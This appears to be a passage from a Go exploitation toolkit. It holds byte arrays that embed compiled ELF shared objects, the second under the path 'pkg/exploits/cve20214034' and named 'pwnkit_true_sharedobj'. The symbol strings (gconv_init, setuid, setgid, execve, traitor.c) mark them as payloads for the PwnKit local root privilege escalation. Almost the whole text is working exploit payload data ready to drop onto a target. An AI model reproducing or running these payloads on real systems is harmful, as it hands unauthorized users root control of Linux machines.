0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 15, 0,
216, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 16, 0, 240, 13, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 17, 0,
248, 13, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 18, 0, 0, 14, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 19, 0,
192, 15, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 20, 0, 232, 15, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 21, 0,
48, 16, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 3, 0, 22, 0, 56, 16, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 23, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 11, 0,
240, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
11, 0, 0, 0, 2, 0, 11, 0, 240, 5, 0, 0, 0, 0, 0, 0,
20, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 9, 0,
88, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 12, 0, 48, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 4, 0, 241, 255,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 9, 0, 104, 5, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 12, 0,
60, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
31, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 11, 0,
16, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
42, 0, 0, 0, 2, 0, 11, 0, 16, 6, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 44, 0, 0, 0, 2, 0, 11, 0,
64, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
63, 0, 0, 0, 0, 0, 21, 0, 48, 16, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 66, 0, 0, 0, 2, 0, 11, 0,
128, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
88, 0, 0, 0, 1, 0, 22, 0, 56, 16, 1, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 17, 0,
248, 13, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
100, 0, 0, 0, 1, 0, 17, 0, 248, 13, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 139, 0, 0, 0, 2, 0, 11, 0,
208, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
63, 0, 0, 0, 0, 0, 16, 0, 240, 13, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 151, 0, 0, 0, 1, 0, 16, 0,
240, 13, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
63, 0, 0, 0, 0, 0, 15, 0, 236, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 22, 0,
56, 16, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
182, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 11, 0,
212, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
63, 0, 0, 0, 0, 0, 13, 0, 72, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 15, 0,
80, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
31, 0, 0, 0, 4, 0, 241, 255, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 15, 0,
124, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
192, 0, 0, 0, 1, 0, 15, 0, 124, 8, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 241, 255,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
206, 0, 0, 0, 2, 0, 12, 0, 48, 7, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 212, 0, 0, 0, 1, 0, 21, 0,
48, 16, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
225, 0, 0, 0, 1, 0, 241, 255, 0, 14, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 234, 0, 0, 0, 0, 0, 14, 0,
156, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
253, 0, 0, 0, 1, 0, 21, 0, 56, 16, 1, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 9, 1, 0, 0, 1, 0, 241, 255,
192, 15, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
207, 1, 0, 0, 2, 0, 9, 0, 88, 5, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 10, 0,
112, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
31, 1, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 49, 1, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
65, 1, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 93, 1, 0, 0, 34, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
119, 1, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 134, 1, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
152, 1, 0, 0, 18, 0, 11, 0, 212, 6, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 158, 1, 0, 0, 18, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
176, 1, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 202, 1, 0, 0, 18, 0, 11, 0,
220, 6, 0, 0, 0, 0, 0, 0, 84, 0, 0, 0, 0, 0, 0, 0,
0, 99, 114, 116, 105, 46, 111, 0, 36, 120, 0, 99, 97, 108, 108, 95,
119, 101, 97, 107, 95, 102, 110, 0, 99, 114, 116, 110, 46, 111, 0, 99,
114, 116, 115, 116, 117, 102, 102, 46, 99, 0, 100, 101, 114, 101, 103, 105,
115, 116, 101, 114, 95, 116, 109, 95, 99, 108, 111, 110, 101, 115, 0, 36,
100, 0, 95, 95, 100, 111, 95, 103, 108, 111, 98, 97, 108, 95, 100, 116,
111, 114, 115, 95, 97, 117, 120, 0, 99, 111, 109, 112, 108, 101, 116, 101,
100, 46, 48, 0, 95, 95, 100, 111, 95, 103, 108, 111, 98, 97, 108, 95,
100, 116, 111, 114, 115, 95, 97, 117, 120, 95, 102, 105, 110, 105, 95, 97,
114, 114, 97, 121, 95, 101, 110, 116, 114, 121, 0, 102, 114, 97, 109, 101,
95, 100, 117, 109, 109, 121, 0, 95, 95, 102, 114, 97, 109, 101, 95, 100,
117, 109, 109, 121, 95, 105, 110, 105, 116, 95, 97, 114, 114, 97, 121, 95,
101, 110, 116, 114, 121, 0, 116, 114, 97, 105, 116, 111, 114, 46, 99, 0,
95, 95, 70, 82, 65, 77, 69, 95, 69, 78, 68, 95, 95, 0, 95, 102,
105, 110, 105, 0, 95, 95, 100, 115, 111, 95, 104, 97, 110, 100, 108, 101,
0, 95, 68, 89, 78, 65, 77, 73, 67, 0, 95, 95, 71, 78, 85, 95,
69, 72, 95, 70, 82, 65, 77, 69, 95, 72, 68, 82, 0, 95, 95, 84,
77, 67, 95, 69, 78, 68, 95, 95, 0, 95, 71, 76, 79, 66, 65, 76,
95, 79, 70, 70, 83, 69, 84, 95, 84, 65, 66, 76, 69, 95, 0, 115,
101, 116, 117, 105, 100, 64, 71, 76, 73, 66, 67, 95, 50, 46, 49, 55,
0, 101, 120, 105, 116, 64, 71, 76, 73, 66, 67, 95, 50, 46, 49, 55,
0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115, 116, 101, 114,
84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 95, 99,
120, 97, 95, 102, 105, 110, 97, 108, 105, 122, 101, 64, 71, 76, 73, 66,
67, 95, 50, 46, 49, 55, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116,
97, 114, 116, 95, 95, 0, 115, 101, 116, 103, 105, 100, 64, 71, 76, 73,
66, 67, 95, 50, 46, 49, 55, 0, 103, 99, 111, 110, 118, 0, 101, 120,
101, 99, 118, 101, 64, 71, 76, 73, 66, 67, 95, 50, 46, 49, 55, 0,
95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67,
108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 103, 99, 111, 110, 118, 95,
105, 110, 105, 116, 0, 0, 46, 115, 121, 109, 116, 97, 98, 0, 46, 115,
116, 114, 116, 97, 98, 0, 46, 115, 104, 115, 116, 114, 116, 97, 98, 0,
46, 110, 111, 116, 101, 46, 103, 110, 117, 46, 98, 117, 105, 108, 100, 45,
105, 100, 0, 46, 103, 110, 117, 46, 104, 97, 115, 104, 0, 46, 100, 121,
110, 115, 121, 109, 0, 46, 100, 121, 110, 115, 116, 114, 0, 46, 103, 110,
117, 46, 118, 101, 114, 115, 105, 111, 110, 0, 46, 103, 110, 117, 46, 118,
101, 114, 115, 105, 111, 110, 95, 114, 0, 46, 114, 101, 108, 97, 46, 100,
121, 110, 0, 46, 114, 101, 108, 97, 46, 112, 108, 116, 0, 46, 105, 110,
105, 116, 0, 46, 116, 101, 120, 116, 0, 46, 102, 105, 110, 105, 0, 46,
114, 111, 100, 97, 116, 97, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101,
95, 104, 100, 114, 0, 46, 101, 104, 95, 102, 114, 97, 109, 101, 0, 46,
105, 110, 105, 116, 95, 97, 114, 114, 97, 121, 0, 46, 102, 105, 110, 105,
95, 97, 114, 114, 97, 121, 0, 46, 100, 121, 110, 97, 109, 105, 99, 0,
46, 103, 111, 116, 0, 46, 103, 111, 116, 46, 112, 108, 116, 0, 46, 100,
97, 116, 97, 0, 46, 98, 115, 115, 0, 46, 99, 111, 109, 109, 101, 110,
116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 7, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 200, 1, 0, 0, 0, 0, 0, 0,
200, 1, 0, 0, 0, 0, 0, 0, 36, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 246, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 240, 1, 0, 0, 0, 0, 0, 0,
240, 1, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 56, 0, 0, 0, 11, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 24, 2, 0, 0, 0, 0, 0, 0,
24, 2, 0, 0, 0, 0, 0, 0, 56, 1, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 3, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 3, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 80, 3, 0, 0, 0, 0, 0, 0,
80, 3, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 255, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 230, 3, 0, 0, 0, 0, 0, 0,
230, 3, 0, 0, 0, 0, 0, 0, 26, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 85, 0, 0, 0, 254, 255, 255, 111,
2, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0,
0, 4, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 100, 0, 0, 0, 4, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 32, 4, 0, 0, 0, 0, 0, 0,
32, 4, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 110, 0, 0, 0, 4, 0, 0, 0,
66, 0, 0, 0, 0, 0, 0, 0, 200, 4, 0, 0, 0, 0, 0, 0,
200, 4, 0, 0, 0, 0, 0, 0, 144, 0, 0, 0, 0, 0, 0, 0,
3, 0, 0, 0, 20, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 120, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 88, 5, 0, 0, 0, 0, 0, 0,
88, 5, 0, 0, 0, 0, 0, 0, 24, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 115, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 112, 5, 0, 0, 0, 0, 0, 0,
112, 5, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 126, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 240, 5, 0, 0, 0, 0, 0, 0,
240, 5, 0, 0, 0, 0, 0, 0, 64, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 132, 0, 0, 0, 1, 0, 0, 0,
6, 0, 0, 0, 0, 0, 0, 0, 48, 7, 0, 0, 0, 0, 0, 0,
48, 7, 0, 0, 0, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 138, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 72, 7, 0, 0, 0, 0, 0, 0,
72, 7, 0, 0, 0, 0, 0, 0, 83, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 146, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 156, 7, 0, 0, 0, 0, 0, 0,
156, 7, 0, 0, 0, 0, 0, 0, 60, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 160, 0, 0, 0, 1, 0, 0, 0,
2, 0, 0, 0, 0, 0, 0, 0, 216, 7, 0, 0, 0, 0, 0, 0,
216, 7, 0, 0, 0, 0, 0, 0, 168, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 170, 0, 0, 0, 14, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 240, 13, 1, 0, 0, 0, 0, 0,
240, 13, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 182, 0, 0, 0, 15, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 248, 13, 1, 0, 0, 0, 0, 0,
248, 13, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 194, 0, 0, 0, 6, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 0, 14, 1, 0, 0, 0, 0, 0,
0, 14, 0, 0, 0, 0, 0, 0, 192, 1, 0, 0, 0, 0, 0, 0,
4, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
16, 0, 0, 0, 0, 0, 0, 0, 203, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 192, 15, 1, 0, 0, 0, 0, 0,
192, 15, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 208, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 232, 15, 1, 0, 0, 0, 0, 0,
232, 15, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
8, 0, 0, 0, 0, 0, 0, 0, 217, 0, 0, 0, 1, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 48, 16, 1, 0, 0, 0, 0, 0,
48, 16, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 223, 0, 0, 0, 8, 0, 0, 0,
3, 0, 0, 0, 0, 0, 0, 0, 56, 16, 1, 0, 0, 0, 0, 0,
56, 16, 0, 0, 0, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 228, 0, 0, 0, 1, 0, 0, 0,
48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
56, 16, 0, 0, 0, 0, 0, 0, 18, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
80, 16, 0, 0, 0, 0, 0, 0, 192, 6, 0, 0, 0, 0, 0, 0,
25, 0, 0, 0, 62, 0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0,
24, 0, 0, 0, 0, 0, 0, 0, 9, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
16, 23, 0, 0, 0, 0, 0, 0, 213, 1, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 17, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
229, 24, 0, 0, 0, 0, 0, 0, 237, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
}
================================================
FILE: pkg/exploits/cve20214034/sharedobject_true_386.go
================================================
//go:build 386
package cve20214034
var pwnkit_true_sharedobj = []byte{
127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0,
3, 0, 3, 0, 1, 0, 0, 0, 128, 16, 0, 0, 52, 0, 0, 0,
56, 53, 0, 0, 0, 0, 0, 0, 52, 0, 32, 0, 10, 0, 40, 0,
28, 0, 27, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 212, 3, 0, 0, 212, 3, 0, 0, 4, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0,
0, 16, 0, 0, 40, 2, 0, 0, 40, 2, 0, 0, 5, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 0, 32, 0, 0, 0, 32, 0, 0,
0, 32, 0, 0, 24, 1, 0, 0, 24, 1, 0, 0, 4, 0, 0, 0,
0, 16, 0, 0, 1, 0, 0, 0, 8, 47, 0, 0, 8, 63, 0, 0,
8, 63, 0, 0, 24, 1, 0, 0, 28, 1, 0, 0, 6, 0, 0, 0,
0, 16, 0, 0, 2, 0, 0, 0, 16, 47, 0, 0, 16, 63, 0, 0,
16, 63, 0, 0, 224, 0, 0, 0, 224, 0, 0, 0, 6, 0, 0, 0,
4, 0, 0, 0, 4, 0, 0, 0, 116, 1, 0, 0, 116, 1, 0, 0,
116, 1, 0, 0, 76, 0, 0, 0, 76, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 83, 229, 116, 100, 152, 1, 0, 0, 152, 1, 0, 0,
152, 1, 0, 0, 40, 0, 0, 0, 40, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 80, 229, 116, 100, 92, 32, 0, 0, 92, 32, 0, 0,
92, 32, 0, 0, 44, 0, 0, 0, 44, 0, 0, 0, 4, 0, 0, 0,
4, 0, 0, 0, 81, 229, 116, 100, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0,
16, 0, 0, 0, 82, 229, 116, 100, 8, 47, 0, 0, 8, 63, 0, 0,
8, 63, 0, 0, 248, 0, 0, 0, 248, 0, 0, 0, 4, 0, 0, 0,
1, 0, 0, 0, 4, 0, 0, 0, 20, 0, 0, 0, 3, 0, 0, 0,
71, 78, 85, 0, 209, 58, 106, 49, 216, 235, 19, 44, 44, 236, 37, 189,
58, 201, 99, 84, 166, 136, 73, 45, 4, 0, 0, 0, 24, 0, 0, 0,
5, 0, 0, 0, 71, 78, 85, 0, 1, 0, 1, 192, 4, 0, 0, 0,
1, 0, 0, 0, 2, 0, 1, 192, 4, 0, 0, 0, 0, 0, 0, 0,
2, 0, 0, 0, 9, 0, 0, 0, 1, 0, 0, 0, 5, 0, 0, 0,
12, 0, 32, 2, 9, 0, 0, 0, 10, 0, 0, 0, 99, 12, 127, 15,
53, 167, 82, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 70, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
34, 0, 0, 0, 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 123, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
18, 0, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
32, 0, 0, 0, 85, 0, 0, 0, 125, 17, 0, 0, 16, 0, 0, 0,
18, 0, 12, 0, 91, 0, 0, 0, 141, 17, 0, 0, 126, 0, 0, 0,
18, 0, 12, 0, 0, 95, 95, 103, 109, 111, 110, 95, 115, 116, 97, 114,
116, 95, 95, 0, 95, 73, 84, 77, 95, 100, 101, 114, 101, 103, 105, 115,
116, 101, 114, 84, 77, 67, 108, 111, 110, 101, 84, 97, 98, 108, 101, 0,
95, 73, 84, 77, 95, 114, 101, 103, 105, 115, 116, 101, 114, 84, 77, 67,
108, 111, 110, 101, 84, 97, 98, 108, 101, 0, 95, 95, 99, 120, 97, 95,
102, 105, 110, 97, 108, 105, 122, 101, 0, 103, 99, 111, 110, 118, 0, 103,
99, 111, 110, 118, 95, 105, 110, 105, 116, 0, 115, 101, 116, 117, 105, 100,
0, 115, 101, 116, 103, 105, 100, 0, 101, 120, 101, 99, 118, 101, 0, 101,
120, 105, 116, 0, 108, 105, 98, 99, 46, 115, 111, 46, 54, 0, 71, 76,
73, 66, 67, 95, 50, 46, 48, 0, 71, 76, 73, 66, 67, 95, 50, 46,
49, 46, 51, 0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 0, 3, 0,
3, 0, 3, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 2, 0,
128, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 16, 105, 105, 13,
0, 0, 3, 0, 138, 0, 0, 0, 16, 0, 0, 0, 115, 31, 105, 9,
0, 0, 2, 0, 148, 0, 0, 0, 0, 0, 0, 0, 8, 63, 0, 0,
8, 0, 0, 0, 12, 63, 0, 0, 8, 0, 0, 0, 28, 64, 0, 0,
8, 0, 0, 0, 240, 63, 0, 0, 6, 1, 0, 0, 244, 63, 0, 0,
6, 2, 0, 0, 248, 63, 0, 0, 6, 4, 0, 0, 252, 63, 0, 0,
6, 8, 0, 0, 12, 64, 0, 0, 7, 3, 0, 0, 16, 64, 0, 0,
7, 5, 0, 0, 20, 64, 0, 0, 7, 6, 0, 0, 24, 64, 0, 0,
7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
